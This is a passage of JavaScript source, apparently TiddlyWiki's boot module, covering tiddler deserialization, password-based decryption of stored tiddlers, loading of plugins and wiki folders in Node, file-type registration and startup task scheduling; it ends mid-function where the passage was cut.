$tw.modules.define("$:/boot/tiddlerdeserializer/json","tiddlerdeserializer",{
"application/json": function(text,fields) {
var isTiddlerValid = function(data) {
// Not valid if it's not an object with a title property
if(typeof(data) !== "object" || !$tw.utils.hop(data,"title")) {
return false;
}
for(var f in data) {
if($tw.utils.hop(data,f)) {
// Check field name doesn't contain control characters
if(typeof(data[f]) !== "string" || /[\x00-\x1F]/.test(f)) {
return false;
}
}
}
return true;
},
isTiddlerArrayValid = function(data) {
for(var t=0; t<data.length; t++) {
if(!isTiddlerValid(data[t])) {
return false;
}
}
return true;
},
data = $tw.utils.parseJSONSafe(text);
if($tw.utils.isArray(data) && isTiddlerArrayValid(data)) {
return data;
} else if(isTiddlerValid(data)) {
return [data];
} else {
// Plain JSON file
fields.text = text;
fields.type = "application/json";
return [fields];
}
}
});
/////////////////////////// Browser definitions
if($tw.browser && !$tw.node) {
/*
Decrypt any tiddlers stored within the element with the ID "encryptedArea". The function is asynchronous to allow the user to be prompted for a password
callback: function to be called the decryption is complete
*/
$tw.boot.decryptEncryptedTiddlers = function(callback) {
var encryptedArea = document.getElementById("encryptedStoreArea");
if(encryptedArea) {
var encryptedText = encryptedArea.innerHTML,
prompt = "Enter a password to decrypt this TiddlyWiki";
// Prompt for the password
if($tw.utils.hop($tw.boot,"encryptionPrompts")) {
prompt = $tw.boot.encryptionPrompts.decrypt;
}
$tw.passwordPrompt.createPrompt({
serviceName: prompt,
noUserName: true,
submitText: "Decrypt",
callback: function(data) {
// Attempt to decrypt the tiddlers
$tw.crypto.setPassword(data.password);
var decryptedText = $tw.crypto.decrypt(encryptedText);
if(decryptedText) {
var json = $tw.utils.parseJSONSafe(decryptedText);
for(var title in json) {
$tw.preloadTiddler(json[title]);
}
// Call the callback
callback();
// Exit and remove the password prompt
return true;
} else {
// We didn't decrypt everything, so continue to prompt for password
return false;
}
}
});
} else {
// Just invoke the callback straight away if there weren't any encrypted tiddlers
callback();
}
};
/*
Register a deserializer that can extract tiddlers from the DOM
*/
$tw.modules.define("$:/boot/tiddlerdeserializer/dom","tiddlerdeserializer",{
"(DOM)": function(node) {
var extractTextTiddlers = function(node) {
var e = node.firstChild;
while(e && e.nodeName.toLowerCase() !== "pre") {
e = e.nextSibling;
}
var title = node.getAttribute ? node.getAttribute("title") : null;
if(e && title) {
var attrs = node.attributes,
tiddler = {
text: $tw.utils.htmlDecode(e.innerHTML)
};
for(var i=attrs.length-1; i >= 0; i--) {
tiddler[attrs[i].name] = attrs[i].value;
}
return [tiddler];
} else {
return null;
}
},
extractModuleTiddlers = function(node) {
if(node.hasAttribute && node.hasAttribute("data-tiddler-title")) {
var text = node.innerHTML,
s = text.indexOf("{"),
e = text.lastIndexOf("}");
if(node.hasAttribute("data-module") && s !== -1 && e !== -1) {
text = text.substring(s+1,e);
}
var fields = {text: text},
attributes = node.attributes;
for(var a=0; a<attributes.length; a++) {
if(attributes[a].nodeName.substr(0,13) === "data-tiddler-") {
fields[attributes[a].nodeName.substr(13)] = attributes[a].value;
}
}
return [fields];
} else {
return null;
}
},
t,result = [];
if(node) {
var type = (node.getAttribute && node.getAttribute("type")) || null;
if(type) {
// A new-style container with an explicit deserialization type
result = $tw.wiki.deserializeTiddlers(type,node.textContent);
} else {
// An old-style container of classic DIV-based tiddlers
for(t = 0; t < node.childNodes.length; t++) {
var childNode = node.childNodes[t],
tiddlers = extractTextTiddlers(childNode);
tiddlers = tiddlers || extractModuleTiddlers(childNode);
if(tiddlers) {
result.push.apply(result,tiddlers);
}
}
}
}
return result;
}
});
$tw.loadTiddlersBrowser = function() {
// In the browser, we load tiddlers from certain elements
var containerSelectors = [
// IDs for old-style v5.1.x tiddler stores
"#libraryModules",
"#modules",
"#bootKernelPrefix",
"#bootKernel",
"#styleArea",
"#storeArea",
"#systemArea",
// Classes for new-style v5.2.x JSON tiddler stores
"script.tiddlywiki-tiddler-store"
];
for(var t=0; t<containerSelectors.length; t++) {
var nodes = document.querySelectorAll(containerSelectors[t]);
for(var n=0; n<nodes.length; n++) {
$tw.wiki.addTiddlers($tw.wiki.deserializeTiddlers("(DOM)",nodes[n]));
}
}
};
} else {
/////////////////////////// Server definitions
/*
Get any encrypted tiddlers
*/
$tw.boot.decryptEncryptedTiddlers = function(callback) {
// Storing encrypted tiddlers on the server isn't supported yet
callback();
};
} // End of if($tw.browser && !$tw.node)
/////////////////////////// Node definitions
if($tw.node) {
/*
Load the tiddlers contained in a particular file (and optionally extract fields from the accompanying .meta file) returned as {filepath:,type:,tiddlers:[],hasMetaFile:}
*/
$tw.loadTiddlersFromFile = function(filepath,fields) {
var ext = path.extname(filepath),
extensionInfo = $tw.utils.getFileExtensionInfo(ext),
type = extensionInfo ? extensionInfo.type : null,
typeInfo = type ? $tw.config.contentTypeInfo[type] : null,
data = fs.readFileSync(filepath,typeInfo ? typeInfo.encoding : "utf8"),
tiddlers = $tw.wiki.deserializeTiddlers(ext,data,fields),
metadata = $tw.loadMetadataForFile(filepath);
if(metadata) {
if(type === "application/json") {
tiddlers = [{text: data, type: "application/json"}];
}
tiddlers = [$tw.utils.extend({},tiddlers[0],metadata)];
}
return {filepath: filepath, type: type, tiddlers: tiddlers, hasMetaFile: !!metadata};
};
/*
Load the metadata fields in the .meta file corresponding to a particular file
*/
$tw.loadMetadataForFile = function(filepath) {
var metafilename = filepath + ".meta";
if(fs.existsSync(metafilename)) {
return $tw.utils.parseFields(fs.readFileSync(metafilename,"utf8") || "");
} else {
return null;
}
};
/*
A default set of files for TiddlyWiki to ignore during load.
This matches what NPM ignores, and adds "*.meta" to ignore tiddler
metadata files.
*/
$tw.boot.excludeRegExp = /^\.DS_Store$|^.*\.meta$|^\..*\.swp$|^\._.*$|^\.git$|^\.hg$|^\.lock-wscript$|^\.svn$|^\.wafpickle-.*$|^CVS$|^npm-debug\.log$/;
/*
Load all the tiddlers recursively from a directory, including honouring `tiddlywiki.files` files for drawing in external files. Returns an array of {filepath:,type:,tiddlers: [{..fields...}],hasMetaFile:}. Note that no file information is returned for externally loaded tiddlers, just the `tiddlers` property.
*/
$tw.loadTiddlersFromPath = function(filepath,excludeRegExp) {
excludeRegExp = excludeRegExp || $tw.boot.excludeRegExp;
var tiddlers = [];
if(fs.existsSync(filepath)) {
var stat = fs.statSync(filepath);
if(stat.isDirectory()) {
var files = fs.readdirSync(filepath);
// Look for a tiddlywiki.files file
if(files.indexOf("tiddlywiki.files") !== -1) {
Array.prototype.push.apply(tiddlers,$tw.loadTiddlersFromSpecification(filepath,excludeRegExp));
} else {
// If not, read all the files in the directory
$tw.utils.each(files,function(file) {
if(!excludeRegExp.test(file) && file !== "plugin.info") {
tiddlers.push.apply(tiddlers,$tw.loadTiddlersFromPath(filepath + path.sep + file,excludeRegExp));
}
});
}
} else if(stat.isFile()) {
tiddlers.push($tw.loadTiddlersFromFile(filepath,{title: filepath}));
}
}
return tiddlers;
};
/*
Load all the tiddlers defined by a `tiddlywiki.files` specification file
filepath: pathname of the directory containing the specification file
*/
$tw.loadTiddlersFromSpecification = function(filepath,excludeRegExp) {
var tiddlers = [];
// Read the specification
var filesInfo = $tw.utils.parseJSONSafe(fs.readFileSync(filepath + path.sep + "tiddlywiki.files","utf8"));
// Helper to process a file
var processFile = function(filename,isTiddlerFile,fields,isEditableFile) {
var extInfo = $tw.config.fileExtensionInfo[path.extname(filename)],
type = (extInfo || {}).type || fields.type || "text/plain",
typeInfo = $tw.config.contentTypeInfo[type] || {},
pathname = path.resolve(filepath,filename),
text = fs.readFileSync(pathname,typeInfo.encoding || "utf8"),
metadata = $tw.loadMetadataForFile(pathname) || {},
fileTiddlers;
if(isTiddlerFile) {
fileTiddlers = $tw.wiki.deserializeTiddlers(path.extname(pathname),text,metadata) || [];
} else {
fileTiddlers = [$tw.utils.extend({text: text},metadata)];
}
var combinedFields = $tw.utils.extend({},fields,metadata);
$tw.utils.each(fileTiddlers,function(tiddler) {
$tw.utils.each(combinedFields,function(fieldInfo,name) {
if(typeof fieldInfo === "string" || $tw.utils.isArray(fieldInfo)) {
tiddler[name] = fieldInfo;
} else {
var value = tiddler[name];
switch(fieldInfo.source) {
case "filename":
value = path.basename(filename);
break;
case "filename-uri-decoded":
value = $tw.utils.decodeURIComponentSafe(path.basename(filename));
break;
case "basename":
value = path.basename(filename,path.extname(filename));
break;
case "basename-uri-decoded":
value = $tw.utils.decodeURIComponentSafe(path.basename(filename,path.extname(filename)));
break;
case "extname":
value = path.extname(filename);
break;
case "created":
value = new Date(fs.statSync(pathname).birthtime);
break;
case "modified":
value = new Date(fs.statSync(pathname).mtime);
break;
}
if(fieldInfo.prefix) {
value = fieldInfo.prefix + value;
}
if(fieldInfo.suffix) {
value = value + fieldInfo.suffix;
}
tiddler[name] = value;
}
});
});
if(isEditableFile) {
tiddlers.push({filepath: pathname, hasMetaFile: !!metadata && !isTiddlerFile, isEditableFile: true, tiddlers: fileTiddlers});
} else {
tiddlers.push({tiddlers: fileTiddlers});
}
};
// Helper to recursively search subdirectories
var getAllFiles = function(dirPath, recurse, arrayOfFiles) {
recurse = recurse || false;
arrayOfFiles = arrayOfFiles || [];
var files = fs.readdirSync(dirPath);
files.forEach(function(file) {
if (recurse && fs.statSync(dirPath + path.sep + file).isDirectory()) {
arrayOfFiles = getAllFiles(dirPath + path.sep + file, recurse, arrayOfFiles);
} else if(fs.statSync(dirPath + path.sep + file).isFile()){
arrayOfFiles.push(path.join(dirPath, path.sep, file));
}
});
return arrayOfFiles;
}
// Process the listed tiddlers
$tw.utils.each(filesInfo.tiddlers,function(tidInfo) {
if(tidInfo.prefix && tidInfo.suffix) {
tidInfo.fields.text = {prefix: tidInfo.prefix,suffix: tidInfo.suffix};
} else if(tidInfo.prefix) {
tidInfo.fields.text = {prefix: tidInfo.prefix};
} else if(tidInfo.suffix) {
tidInfo.fields.text = {suffix: tidInfo.suffix};
}
processFile(tidInfo.file,tidInfo.isTiddlerFile,tidInfo.fields);
});
// Process any listed directories
$tw.utils.each(filesInfo.directories,function(dirSpec) {
// Read literal directories directly
if(typeof dirSpec === "string") {
var pathname = path.resolve(filepath,dirSpec);
if(fs.existsSync(pathname) && fs.statSync(pathname).isDirectory()) {
tiddlers.push.apply(tiddlers,$tw.loadTiddlersFromPath(pathname,excludeRegExp));
}
} else {
// Process directory specifier
var dirPath = path.resolve(filepath,dirSpec.path);
if(fs.existsSync(dirPath) && fs.statSync(dirPath).isDirectory()) {
var files = getAllFiles(dirPath, dirSpec.searchSubdirectories),
fileRegExp = new RegExp(dirSpec.filesRegExp || "^.*$"),
metaRegExp = /^.*\.meta$/;
for(var t=0; t<files.length; t++) {
var thisPath = path.relative(filepath, files[t]),
filename = path.basename(thisPath);
if(filename !== "tiddlywiki.files" && !metaRegExp.test(filename) && fileRegExp.test(filename)) {
processFile(thisPath,dirSpec.isTiddlerFile,dirSpec.fields,dirSpec.isEditableFile);
}
}
} else {
console.log("Warning: a directory in a tiddlywiki.files file does not exist.");
console.log("dirPath: " + dirPath);
console.log("tiddlywiki.files location: " + filepath);
}
}
});
return tiddlers;
};
/*
Load the tiddlers from a plugin folder, and package them up into a proper JSON plugin tiddler
*/
$tw.loadPluginFolder = function(filepath,excludeRegExp) {
excludeRegExp = excludeRegExp || $tw.boot.excludeRegExp;
var infoPath = filepath + path.sep + "plugin.info";
if(fs.existsSync(filepath) && fs.statSync(filepath).isDirectory()) {
// Read the plugin information
if(!fs.existsSync(infoPath) || !fs.statSync(infoPath).isFile()) {
console.log("Warning: missing plugin.info file in " + filepath);
return null;
}
var pluginInfo = $tw.utils.parseJSONSafe(fs.readFileSync(infoPath,"utf8"));
// Read the plugin files
var pluginFiles = $tw.loadTiddlersFromPath(filepath,excludeRegExp);
// Save the plugin tiddlers into the plugin info
pluginInfo.tiddlers = pluginInfo.tiddlers || Object.create(null);
for(var f=0; f<pluginFiles.length; f++) {
var tiddlers = pluginFiles[f].tiddlers;
for(var t=0; t<tiddlers.length; t++) {
var tiddler= tiddlers[t];
if(tiddler.title) {
pluginInfo.tiddlers[tiddler.title] = tiddler;
}
}
}
// Give the plugin the same version number as the core if it doesn't have one
if(!("version" in pluginInfo)) {
pluginInfo.version = $tw.packageInfo.version;
}
// Use "plugin" as the plugin-type if we don't have one
if(!("plugin-type" in pluginInfo)) {
pluginInfo["plugin-type"] = "plugin";
}
pluginInfo.dependents = pluginInfo.dependents || [];
pluginInfo.type = "application/json";
// Set plugin text
pluginInfo.text = JSON.stringify({tiddlers: pluginInfo.tiddlers});
delete pluginInfo.tiddlers;
// Deserialise array fields (currently required for the dependents field)
for(var field in pluginInfo) {
if($tw.utils.isArray(pluginInfo[field])) {
pluginInfo[field] = $tw.utils.stringifyList(pluginInfo[field]);
}
}
return pluginInfo;
} else {
return null;
}
};
/*
name: Name of the plugin to find
paths: array of file paths to search for it
Returns the path of the plugin folder
*/
$tw.findLibraryItem = function(name,paths) {
var pathIndex = 0;
do {
var pluginPath = path.resolve(paths[pathIndex],"./" + name)
if(fs.existsSync(pluginPath) && fs.statSync(pluginPath).isDirectory()) {
return pluginPath;
}
} while(++pathIndex < paths.length);
return null;
};
/*
name: Name of the plugin to load
paths: array of file paths to search for it
*/
$tw.loadPlugin = function(name,paths) {
var pluginPath = $tw.findLibraryItem(name,paths);
if(pluginPath) {
var pluginFields = $tw.loadPluginFolder(pluginPath);
if(pluginFields) {
$tw.wiki.addTiddler(pluginFields);
return;
}
}
console.log("Warning: Cannot find plugin '" + name + "'");
};
/*
libraryPath: Path of library folder for these plugins (relative to core path)
envVar: Environment variable name for these plugins
Returns an array of search paths
*/
$tw.getLibraryItemSearchPaths = function(libraryPath,envVar) {
var pluginPaths = [path.resolve($tw.boot.corePath,libraryPath)],
env = process.env[envVar];
if(env) {
env.split(path.delimiter).map(function(item) {
if(item) {
pluginPaths.push(item);
}
});
}
return pluginPaths;
};
/*
plugins: Array of names of plugins (eg, "tiddlywiki/filesystemadaptor")
libraryPath: Path of library folder for these plugins (relative to core path)
envVar: Environment variable name for these plugins
*/
$tw.loadPlugins = function(plugins,libraryPath,envVar) {
if(plugins) {
var pluginPaths = $tw.getLibraryItemSearchPaths(libraryPath,envVar);
for(var t=0; t<plugins.length; t++) {
$tw.loadPlugin(plugins[t],pluginPaths);
}
}
};
/*
path: path of wiki directory
options:
parentPaths: array of parent paths that we mustn't recurse into
readOnly: true if the tiddler file paths should not be retained
*/
$tw.loadWikiTiddlers = function(wikiPath,options) {
options = options || {};
var parentPaths = options.parentPaths || [],
wikiInfoPath = path.resolve(wikiPath,$tw.config.wikiInfo),
wikiInfo,
pluginFields;
// Bail if we don't have a wiki info file
if(fs.existsSync(wikiInfoPath)) {
wikiInfo = $tw.utils.parseJSONSafe(fs.readFileSync(wikiInfoPath,"utf8"));
} else {
return null;
}
// Save the path to the tiddlers folder for the filesystemadaptor
var config = wikiInfo.config || {};
if($tw.boot.wikiPath == wikiPath) {
$tw.boot.wikiTiddlersPath = path.resolve($tw.boot.wikiPath,config["default-tiddler-location"] || $tw.config.wikiTiddlersSubDir);
}
// Load any parent wikis
if(wikiInfo.includeWikis) {
parentPaths = parentPaths.slice(0);
parentPaths.push(wikiPath);
$tw.utils.each(wikiInfo.includeWikis,function(info) {
if(typeof info === "string") {
info = {path: info};
}
var resolvedIncludedWikiPath = path.resolve(wikiPath,info.path);
if(parentPaths.indexOf(resolvedIncludedWikiPath) === -1) {
var subWikiInfo = $tw.loadWikiTiddlers(resolvedIncludedWikiPath,{
parentPaths: parentPaths,
readOnly: info["read-only"]
});
// Merge the build targets
wikiInfo.build = $tw.utils.extend([],subWikiInfo.build,wikiInfo.build);
} else {
$tw.utils.error("Cannot recursively include wiki " + resolvedIncludedWikiPath);
}
});
}
// Load any plugins, themes and languages listed in the wiki info file
$tw.loadPlugins(wikiInfo.plugins,$tw.config.pluginsPath,$tw.config.pluginsEnvVar);
$tw.loadPlugins(wikiInfo.themes,$tw.config.themesPath,$tw.config.themesEnvVar);
$tw.loadPlugins(wikiInfo.languages,$tw.config.languagesPath,$tw.config.languagesEnvVar);
// Load the wiki files, registering them as writable
var resolvedWikiPath = path.resolve(wikiPath,$tw.config.wikiTiddlersSubDir);
$tw.utils.each($tw.loadTiddlersFromPath(resolvedWikiPath),function(tiddlerFile) {
if(!options.readOnly && tiddlerFile.filepath) {
$tw.utils.each(tiddlerFile.tiddlers,function(tiddler) {
$tw.boot.files[tiddler.title] = {
filepath: tiddlerFile.filepath,
type: tiddlerFile.type,
hasMetaFile: tiddlerFile.hasMetaFile,
isEditableFile: config["retain-original-tiddler-path"] || tiddlerFile.isEditableFile || tiddlerFile.filepath.indexOf($tw.boot.wikiTiddlersPath) !== 0
};
});
}
$tw.wiki.addTiddlers(tiddlerFile.tiddlers);
});
if ($tw.boot.wikiPath == wikiPath) {
// Save the original tiddler file locations if requested
var output = {}, relativePath, fileInfo;
for(var title in $tw.boot.files) {
fileInfo = $tw.boot.files[title];
if(fileInfo.isEditableFile) {
relativePath = path.relative($tw.boot.wikiTiddlersPath,fileInfo.filepath);
fileInfo.originalpath = relativePath;
output[title] =
path.sep === "/" ?
relativePath :
relativePath.split(path.sep).join("/");
}
}
if(Object.keys(output).length > 0){
$tw.wiki.addTiddler({title: "$:/config/OriginalTiddlerPaths", type: "application/json", text: JSON.stringify(output)});
}
}
// Load any plugins within the wiki folder
var wikiPluginsPath = path.resolve(wikiPath,$tw.config.wikiPluginsSubDir);
if(fs.existsSync(wikiPluginsPath)) {
var pluginFolders = fs.readdirSync(wikiPluginsPath);
for(var t=0; t<pluginFolders.length; t++) {
pluginFields = $tw.loadPluginFolder(path.resolve(wikiPluginsPath,"./" + pluginFolders[t]));
if(pluginFields) {
$tw.wiki.addTiddler(pluginFields);
}
}
}
// Load any themes within the wiki folder
var wikiThemesPath = path.resolve(wikiPath,$tw.config.wikiThemesSubDir);
if(fs.existsSync(wikiThemesPath)) {
var themeFolders = fs.readdirSync(wikiThemesPath);
for(var t=0; t<themeFolders.length; t++) {
pluginFields = $tw.loadPluginFolder(path.resolve(wikiThemesPath,"./" + themeFolders[t]));
if(pluginFields) {
$tw.wiki.addTiddler(pluginFields);
}
}
}
// Load any languages within the wiki folder
var wikiLanguagesPath = path.resolve(wikiPath,$tw.config.wikiLanguagesSubDir);
if(fs.existsSync(wikiLanguagesPath)) {
var languageFolders = fs.readdirSync(wikiLanguagesPath);
for(var t=0; t<languageFolders.length; t++) {
pluginFields = $tw.loadPluginFolder(path.resolve(wikiLanguagesPath,"./" + languageFolders[t]));
if(pluginFields) {
$tw.wiki.addTiddler(pluginFields);
}
}
}
return wikiInfo;
};
$tw.loadTiddlersNode = function() {
// Load the boot tiddlers
$tw.utils.each($tw.loadTiddlersFromPath($tw.boot.bootPath),function(tiddlerFile) {
$tw.wiki.addTiddlers(tiddlerFile.tiddlers);
});
// Load the core tiddlers
$tw.wiki.addTiddler($tw.loadPluginFolder($tw.boot.corePath));
// Load any extra plugins
$tw.utils.each($tw.boot.extraPlugins,function(name) {
if(name.charAt(0) === "+") { // Relative path to plugin
var pluginFields = $tw.loadPluginFolder(name.substring(1));
if(pluginFields) {
$tw.wiki.addTiddler(pluginFields);
}
} else {
var parts = name.split("/"),
type = parts[0];
if(parts.length === 3 && ["plugins","themes","languages"].indexOf(type) !== -1) {
$tw.loadPlugins([parts[1] + "/" + parts[2]],$tw.config[type + "Path"],$tw.config[type + "EnvVar"]);
}
}
});
// Load the tiddlers from the wiki directory
if($tw.boot.wikiPath) {
$tw.boot.wikiInfo = $tw.loadWikiTiddlers($tw.boot.wikiPath);
}
};
// End of if($tw.node)
}
/////////////////////////// Main startup function called once tiddlers have been decrypted
/*
Startup TiddlyWiki
*/
$tw.boot.initStartup = function(options) {
// Get the URL hash and check for safe mode
$tw.locationHash = "#";
if($tw.browser && !$tw.node) {
if(location.hash === "#:safe") {
$tw.safeMode = true;
} else {
$tw.locationHash = $tw.utils.getLocationHash();
}
}
// Initialise some more $tw properties
$tw.utils.deepDefaults($tw,{
modules: { // Information about each module
titles: Object.create(null), // hashmap by module title of {fn:, exports:, moduleType:}
types: {} // hashmap by module type of hashmap of exports
},
config: { // Configuration overridables
pluginsPath: "../plugins/",
themesPath: "../themes/",
languagesPath: "../languages/",
editionsPath: "../editions/",
wikiInfo: "./tiddlywiki.info",
wikiPluginsSubDir: "./plugins",
wikiThemesSubDir: "./themes",
wikiLanguagesSubDir: "./languages",
wikiTiddlersSubDir: "./tiddlers",
wikiOutputSubDir: "./output",
jsModuleHeaderRegExpString: "^\\/\\*\\\\(?:\\r?\\n)((?:^[^\\r\\n]*(?:\\r?\\n))+?)(^\\\\\\*\\/$(?:\\r?\\n)?)",
fileExtensionInfo: Object.create(null), // Map file extension to {type:}
contentTypeInfo: Object.create(null), // Map type to {encoding:,extension:}
pluginsEnvVar: "TIDDLYWIKI_PLUGIN_PATH",
themesEnvVar: "TIDDLYWIKI_THEME_PATH",
languagesEnvVar: "TIDDLYWIKI_LANGUAGE_PATH",
editionsEnvVar: "TIDDLYWIKI_EDITION_PATH"
},
log: {}, // Log flags
unloadTasks: []
});
if(!$tw.boot.tasks.readBrowserTiddlers) {
// For writable tiddler files, a hashmap of title to {filepath:,type:,hasMetaFile:}
$tw.boot.files = Object.create(null);
// System paths and filenames
$tw.boot.bootPath = options.bootPath || path.dirname(module.filename);
$tw.boot.corePath = path.resolve($tw.boot.bootPath,"../core");
// If there's no arguments then default to `--help`
if($tw.boot.argv.length === 0) {
$tw.boot.argv = ["--help"];
}
// Parse any extra plugin references
$tw.boot.extraPlugins = $tw.boot.extraPlugins || [];
while($tw.boot.argv[0] && $tw.boot.argv[0].indexOf("+") === 0) {
$tw.boot.extraPlugins.push($tw.boot.argv[0].substring(1));
$tw.boot.argv.splice(0,1);
}
// If the first command line argument doesn't start with `--` then we
// interpret it as the path to the wiki folder, which will otherwise default
// to the current folder
if($tw.boot.argv[0] && $tw.boot.argv[0].indexOf("--") !== 0) {
$tw.boot.wikiPath = $tw.boot.argv[0];
$tw.boot.argv = $tw.boot.argv.slice(1);
} else {
$tw.boot.wikiPath = process.cwd();
}
// Read package info
$tw.packageInfo = $tw.packageInfo || require("../package.json");
// Check node version number
if(!$tw.utils.checkVersions(process.version.substr(1),$tw.packageInfo.engines.node.substr(2))) {
$tw.utils.error("TiddlyWiki5 requires node.js version " + $tw.packageInfo.engines.node);
}
}
// Add file extension information
$tw.utils.registerFileType("text/vnd.tiddlywiki","utf8",".tid");
$tw.utils.registerFileType("application/x-tiddler","utf8",".tid");
$tw.utils.registerFileType("application/x-tiddlers","utf8",".multids");
$tw.utils.registerFileType("application/x-tiddler-html-div","utf8",".tiddler");
$tw.utils.registerFileType("text/vnd.tiddlywiki2-recipe","utf8",".recipe");
$tw.utils.registerFileType("text/plain","utf8",".txt");
$tw.utils.registerFileType("text/css","utf8",".css");
$tw.utils.registerFileType("text/html","utf8",[".html",".htm"]);
$tw.utils.registerFileType("application/hta","utf16le",".hta",{deserializerType:"text/html"});
$tw.utils.registerFileType("application/javascript","utf8",".js");
$tw.utils.registerFileType("application/json","utf8",".json");
$tw.utils.registerFileType("application/pdf","base64",".pdf",{flags:["image"]});
$tw.utils.registerFileType("application/zip","base64",".zip");
$tw.utils.registerFileType("application/x-zip-compressed","base64",".zip");
$tw.utils.registerFileType("image/jpeg","base64",[".jpg",".jpeg"],{flags:["image"]});
$tw.utils.registerFileType("image/jpg","base64",[".jpg",".jpeg"],{flags:["image"]});
$tw.utils.registerFileType("image/png","base64",".png",{flags:["image"]});
$tw.utils.registerFileType("image/gif","base64",".gif",{flags:["image"]});
$tw.utils.registerFileType("image/webp","base64",".webp",{flags:["image"]});
$tw.utils.registerFileType("image/heic","base64",".heic",{flags:["image"]});
$tw.utils.registerFileType("image/heif","base64",".heif",{flags:["image"]});
$tw.utils.registerFileType("image/svg+xml","utf8",".svg",{flags:["image"]});
$tw.utils.registerFileType("image/vnd.microsoft.icon","base64",".ico",{flags:["image"]});
$tw.utils.registerFileType("image/x-icon","base64",".ico",{flags:["image"]});
$tw.utils.registerFileType("application/font-woff","base64",".woff");
$tw.utils.registerFileType("application/x-font-ttf","base64",".woff");
$tw.utils.registerFileType("application/font-woff2","base64",".woff2");
$tw.utils.registerFileType("audio/ogg","base64",".ogg");
$tw.utils.registerFileType("video/ogg","base64",[".ogm",".ogv",".ogg"]);
$tw.utils.registerFileType("video/webm","base64",".webm");
$tw.utils.registerFileType("video/mp4","base64",".mp4");
$tw.utils.registerFileType("audio/mp3","base64",".mp3");
$tw.utils.registerFileType("audio/mp4","base64",[".mp4",".m4a"]);
$tw.utils.registerFileType("text/markdown","utf8",[".md",".markdown"],{deserializerType:"text/x-markdown"});
$tw.utils.registerFileType("text/x-markdown","utf8",[".md",".markdown"]);
$tw.utils.registerFileType("application/enex+xml","utf8",".enex");
$tw.utils.registerFileType("application/vnd.openxmlformats-officedocument.wordprocessingml.document","base64",".docx");
$tw.utils.registerFileType("application/vnd.openxmlformats-officedocument.spreadsheetml.sheet","base64",".xlsx");
$tw.utils.registerFileType("application/vnd.openxmlformats-officedocument.presentationml.presentation","base64",".pptx");
$tw.utils.registerFileType("text/x-bibtex","utf8",".bib",{deserializerType:"application/x-bibtex"});
$tw.utils.registerFileType("application/x-bibtex","utf8",".bib");
$tw.utils.registerFileType("application/epub+zip","base64",".epub");
$tw.utils.registerFileType("application/octet-stream","base64",".octet-stream");
// Create the wiki store for the app
$tw.wiki = new $tw.Wiki();
// Install built in tiddler fields modules
$tw.Tiddler.fieldModules = $tw.modules.getModulesByTypeAsHashmap("tiddlerfield");
// Install the tiddler deserializer modules
$tw.Wiki.tiddlerDeserializerModules = Object.create(null);
$tw.modules.applyMethods("tiddlerdeserializer",$tw.Wiki.tiddlerDeserializerModules);
// Call unload handlers in the browser
if($tw.browser) {
window.onbeforeunload = function(event) {
event = event || {};
var result;
$tw.utils.each($tw.unloadTasks,function(task) {
var r = task(event);
if(r) {
result = r;
}
});
return result;
}
}
};
$tw.boot.loadStartup = function(options){
// Load tiddlers
if($tw.boot.tasks.readBrowserTiddlers) {
$tw.loadTiddlersBrowser();
} else {
$tw.loadTiddlersNode();
}
// Load any preloaded tiddlers
if($tw.preloadTiddlers) {
$tw.wiki.addTiddlers($tw.preloadTiddlers);
}
// Give hooks a chance to modify the store
$tw.hooks.invokeHook("th-boot-tiddlers-loaded");
}
$tw.boot.execStartup = function(options){
// Unpack plugin tiddlers
$tw.wiki.readPluginInfo();
$tw.wiki.registerPluginTiddlers("plugin",$tw.safeMode ? ["$:/core"] : undefined);
$tw.wiki.unpackPluginTiddlers();
// Process "safe mode"
if($tw.safeMode) {
$tw.wiki.processSafeMode();
}
// Register typed modules from the tiddlers we've just loaded
$tw.wiki.defineTiddlerModules();
// And any modules within plugins
$tw.wiki.defineShadowModules();
// Make sure the crypto state tiddler is up to date
if($tw.crypto) {
$tw.crypto.updateCryptoStateTiddler();
}
// Gather up any startup modules
$tw.boot.remainingStartupModules = []; // Array of startup modules
$tw.modules.forEachModuleOfType("startup",function(title,module) {
if(module.startup) {
$tw.boot.remainingStartupModules.push(module);
}
});
// Keep track of the startup tasks that have been executed
$tw.boot.executedStartupModules = Object.create(null);
$tw.boot.disabledStartupModules = $tw.boot.disabledStartupModules || [];
// Repeatedly execute the next eligible task
$tw.boot.executeNextStartupTask(options.callback);
}
/*
Startup TiddlyWiki
*/
$tw.boot.startup = function(options) {
options = options || {};
// Get the URL hash and check for safe mode
$tw.boot.initStartup(options);
$tw.boot.loadStartup(options);
$tw.boot.execStartup(options);
};
/*
Add another unload task
*/
$tw.addUnloadTask = function(task) {
if($tw.unloadTasks.indexOf(task) === -1) {
$tw.unloadTasks.push(task);
}
}
/*
Execute the remaining eligible startup tasks
*/
$tw.boot.executeNextStartupTask = function(callback) {
// Find the next eligible task
var taskIndex = 0, task,
asyncTaskCallback = function() {
if(task.name) {
$tw.boot.executedStartupModules[task.name] = true;
}
return $tw.boot.executeNextStartupTask(callback);
};
while(taskIndex < $tw.boot.remainingStartupModules.length) {
task = $tw.boot.remainingStartupModules[taskIndex];
if($tw.boot.isStartupTaskEligible(task)) {
// Remove this task from the list
$tw.boot.remainingStartupModules.splice(taskIndex,1);
// Assemble log message
var s = ["Startup task:",task.name];
if(task.platforms) {
s.push("platforms:",task.platforms.join(","));
}
if(task.after) {
s.push("after:",task.after.join(","));
}
if(task.before) {
s.push("before:",task.before.join(","));
}
$tw.boot.log(s.join(" "));
// Execute task
if(!$tw.utils.hop(task,"synchronous") || task.synchronous) {
task.startup();
if(task.name) {
$tw.boot.executedStartupModules[task.name] = true;
}
return $tw.boot.executeNextStartupTask(callback);
} else {
task.startup(asyncTaskCallback);
return true;
}
}
taskIndex++;
}
if(typeof callback === 'function') {
callback();
}
return false;
};
/*
Returns true if we are running on one of the platforms specified in taskModule's
`platforms` array; or if `platforms` property is not defined.
*/
$tw.boot.doesTaskMatchPlatform = function(taskModule) {
var platforms = taskModule.platforms;
if(platforms) {
for(var t=0; t<platforms.length; t++) {
switch (platforms[t]) {
case "browser":
if ($tw.browser) {
return true;
}
break;
case "node":
if ($tw.node) {
return true;
}
break;
default:
$tw.utils.error("Module " + taskModule.name + ": '" + platforms[t] + "' in export.platforms invalid");
}
}
return false;
}
return true;
};
$tw.boot.isStartupTaskEligible = function(taskModule) {
var t;
// Check that the platform is correct
if(!$tw.boot.doesTaskMatchPlatform(taskModule)) {
return false;
}
var name = taskModule.name,
remaining = $tw.boot.remainingStartupModules;
if(name) {
// Fail if this module is disabled
if($tw.boot.disabledStartupModules.indexOf(name) !== -1) {
return false;
}
// Check that no other outstanding tasks must be executed before this one
for(t=0; t<remaining.length; t++) {
var task = remaining[t];
